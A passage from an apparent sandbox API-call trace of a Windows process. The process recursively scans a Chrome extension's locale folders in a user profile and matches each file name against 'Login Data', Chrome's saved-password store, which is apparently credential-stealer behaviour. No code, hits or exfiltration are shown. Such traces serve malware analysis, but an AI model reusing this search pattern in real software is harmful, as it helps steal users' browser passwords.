IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0054.823] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*" [0054.823] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.823] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.823] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.823] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.823] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.823] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.823] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.823] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.823] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.823] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.823] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0054.823] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0054.823] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.823] lstrlenA (lpString="\\") returned 1 [0054.823] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.823] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.823] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.823] lstrlenA (lpString="el") returned 2 [0054.823] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.823] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0054.823] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 131 [0054.823] lstrlenA (lpString="\\*.*") returned 4 [0054.823] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0054.823] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*" [0054.823] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.824] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.824] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.824] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.824] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.824] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.824] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.824] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.824] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.825] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.825] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0054.825] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0054.825] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.825] lstrlenA (lpString="\\") returned 1 [0054.825] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.825] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.825] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.825] lstrlenA (lpString="en_GB") returned 5 [0054.825] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.825] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0054.825] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 134 [0054.825] lstrlenA (lpString="\\*.*") returned 4 [0054.825] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0054.825] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*" [0054.825] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.825] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.825] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.825] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.825] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.825] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.825] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.825] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.825] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.826] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.826] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0054.826] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0054.826] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.826] lstrlenA (lpString="\\") returned 1 [0054.826] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.826] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.826] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.826] lstrlenA (lpString="en_US") returned 5 [0054.826] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.826] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0054.826] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 134 [0054.826] lstrlenA (lpString="\\*.*") returned 4 [0054.826] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0054.826] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*" [0054.826] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.826] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.827] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.827] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.827] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.827] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.827] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.827] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.827] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.827] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.827] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0054.827] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0054.827] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.827] lstrlenA (lpString="\\") returned 1 [0054.827] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.827] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.827] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.827] lstrlenA (lpString="es") returned 2 [0054.827] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.827] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0054.827] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 131 [0054.827] lstrlenA (lpString="\\*.*") returned 4 [0054.827] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0054.827] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*" [0054.827] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.827] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.827] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.827] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.827] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.827] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.827] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.827] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.827] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.827] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.827] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0054.827] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0054.827] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.827] lstrlenA (lpString="\\") returned 1 [0054.827] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.827] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.828] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.828] lstrlenA (lpString="es_419") returned 6 [0054.828] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.828] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 